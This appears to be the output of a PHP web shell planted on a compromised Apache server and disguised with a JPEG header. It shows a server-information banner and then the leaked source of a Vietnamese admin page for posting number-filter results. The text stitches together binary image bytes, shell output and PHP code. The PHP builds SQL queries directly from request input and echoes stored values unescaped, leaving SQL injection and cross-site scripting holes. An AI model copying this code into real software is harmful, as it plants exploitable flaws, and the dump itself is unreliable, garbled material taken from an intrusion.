���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/luckymerchan/code/admin/dangsoloc/ |
<?php $kqloc_excel_id = $CORE->input['kqloc_excel_id'] ?? 0; if($kqloc_excel_id==0){ $row_check = $DB->get_colum_tb('tb_kqloc_excel'); }else{ $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_kqloc_excel WHERE kqloc_excel_id='$kqloc_excel_id' ")); } if(isset($CORE->input['submitbt'])){ $kqloc_excel_id = $CORE->input['kqloc_excel_id'] ?? 0; if(!check_date_input($CORE->input['kqloc_excel_date'])){ exit('Sai định dạng ngày dd-mm-yyyy'); } $kqloc_excel_date = date('Y-m-d',strtotime($CORE->input['kqloc_excel_date'])); $kqloc_excel_data = trim($CORE->input['kqloc_excel_data']); $kqloc_excel_type = $CORE->input['kqloc_excel_type'] ?? 0; $kqloc_excel_show_free = $CORE->input['kqloc_excel_show_free'] ?? 0; if($kqloc_excel_data!=''){ if($kqloc_excel_id==0){ $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_kqloc_excel WHERE kqloc_excel_data='$kqloc_excel_data' AND kqloc_excel_date='$kqloc_excel_date' AND kqloc_excel_type='$kqloc_excel_type' ")); if(!$row_check) { $arr_insert = array('kqloc_excel_date' => $kqloc_excel_date, 'kqloc_excel_data' => $kqloc_excel_data,'kqloc_excel_type'=>$kqloc_excel_type,'kqloc_excel_show_free'=>$kqloc_excel_show_free); $kqloc_excel_id = $DB->do_insert('tb_kqloc_excel', $arr_insert); } }else{ $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_kqloc_excel WHERE kqloc_excel_data='$kqloc_excel_data' AND kqloc_excel_date='$kqloc_excel_date' AND kqloc_excel_id!='$kqloc_excel_id' ")); if(!$row_check) { $arr_update = array('kqloc_excel_date' => $kqloc_excel_date, 'kqloc_excel_data' => $kqloc_excel_data,'kqloc_excel_type'=>$kqloc_excel_type,'kqloc_excel_show_free'=>$kqloc_excel_show_free); $DB->do_update('tb_kqloc_excel', $arr_update, " WHERE kqloc_excel_id='$kqloc_excel_id' "); } } $q_kq_loc=$DB->query("SELECT * FROM tb_kqloc WHERE kqloc_excel_id='$kqloc_excel_id'"); while($r_kq_loc = $DB->fetch_row($q_kq_loc)){ $arr_mau[$r_kq_loc['kqloc_so']][$r_kq_loc['kqloc_type']]['mau_text'] = $r_kq_loc['mau_text']; $arr_mau[$r_kq_loc['kqloc_so']][$r_kq_loc['kqloc_type']]['mau_bg'] = $r_kq_loc['mau_bg']; } $DB->query("DELETE FROM tb_kqloc WHERE kqloc_excel_id='$kqloc_excel_id' "); $arr_kq= explode('-',$kqloc_excel_data); if(count($arr_kq)==1){ $mau_text = $mau_bg=''; if(isset($arr_mau[$arr_kq[0]][$kqloc_excel_type]['mau_text'])){ $mau_text = $arr_mau[$arr_kq[0]][$kqloc_excel_type]['mau_text']; } if(isset($arr_mau[$arr_kq[0]][$kqloc_excel_type]['mau_bg'])){ $mau_bg = $arr_mau[$arr_kq[0]][$kqloc_excel_type]['mau_bg']; } $arr_insert_kqloc = array('kqloc_excel_id'=>$kqloc_excel_id,'kqloc_date'=>$kqloc_excel_date,'kqloc_so'=>$arr_kq[0],'kqloc_type'=>$kqloc_excel_type,'kqloc_show_free'=>$kqloc_excel_show_free,'mau_text'=>$mau_text,'mau_bg'=>$mau_bg); $DB->do_insert('tb_kqloc', $arr_insert_kqloc); }else { function sap_xep($a, $b) { $a = trim($a); $b = trim($b); if (intval($a) == intval($b)) { return 0; } return (intval($a) < intval($b)) ? -1 : 1; } usort($arr_kq, 'sap_xep'); $arr_kq = array_map('trim', $arr_kq); if ($kqloc_excel_type == 1) { $arr_kq = array_unique($arr_kq); } else { $arr_kq = array_dups($arr_kq); } foreach ($arr_kq as $val) { $mau_text = $mau_bg=''; if(isset($arr_mau[$val][$kqloc_excel_type]['mau_text'])){ $mau_text = $arr_mau[$val][$kqloc_excel_type]['mau_text']; } if(isset($arr_mau[$val][$kqloc_excel_type]['mau_bg'])){ $mau_bg = $arr_mau[$val][$kqloc_excel_type]['mau_bg']; } $arr_insert_kqloc = array('kqloc_excel_id' => $kqloc_excel_id, 'kqloc_date' => $kqloc_excel_date, 'kqloc_so' => $val, 'kqloc_type' => $kqloc_excel_type, 'kqloc_show_free' => $kqloc_excel_show_free,'mau_text'=>$mau_text,'mau_bg'=>$mau_bg); $DB->do_insert('tb_kqloc', $arr_insert_kqloc); } } } close_popup('Updated!'); } include ROOT_PATH . 'include/block/header_popup.php'; ?> <div class="card"> <div class="card-header">Đăng kết quả lọc</div> <div class="card-body" style="font-size: 12px;"> <form method="post" id="form_hoan_tra" action=""> <input type="hidden" value="<?php echo $kqloc_excel_id;?>" name="kqloc_excel_id" id="kqloc_excel_id"> <div class="row"> <div class="col-sm-6"> <div class="form-group"> <label>Ngày</label> <input type="text" name="kqloc_excel_date" class="mydatepicker form-control" value="<?php $kqloc_excel_date = ($row_check['kqloc_excel_date']!='') ? strtotime($row_check['kqloc_excel_date']) : time(); echo date('d-m-Y',$kqloc_excel_date);?>" required> </div> </div> <div class="col-sm-6"> <div class="form-group"> <label>Loại kết quả</label> <select name="kqloc_excel_type" class="form-control" required> <option value="">-----</option> <option value="1" <?php if($row_check['kqloc_excel_type']=='1'){ echo 'selected'; }?>>List One Day</option> <option value="6" <?php if($row_check['kqloc_excel_type']=='6'){ echo 'selected'; }?>>List 6 Days</option> </select> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="form-group"> <label>Kết quả</label> <textarea name="kqloc_excel_data" class="form-control"><?php echo $row_check['kqloc_excel_data'];?></textarea> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="form-group"> <label for="kqloc_excel_show_free">Đủ số (show free)?</label> <input type="checkbox" name="kqloc_excel_show_free" id="kqloc_excel_show_free" value="1" <?php if($row_check['kqloc_excel_show_free']==1){ echo 'checked'; }?>> </div> </div> </div> <input type="submit" class="submit" style="display:none;" name="submitbt"> </form> </div> <div class="card-footer"> <a class="gui_yeu_cau btn btn-danger" href="javascript:void(0);">Submit</a> <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);">Close</a> </div> </div> <script> $('.gui_yeu_cau').click(function (){ $('#form_hoan_tra .submit').click(); return false; }); $('.dong').click(function (){ window.close(); }); </script> <?php include ROOT_PATH . 'include/block/footer_popup.php'; exit(); ?>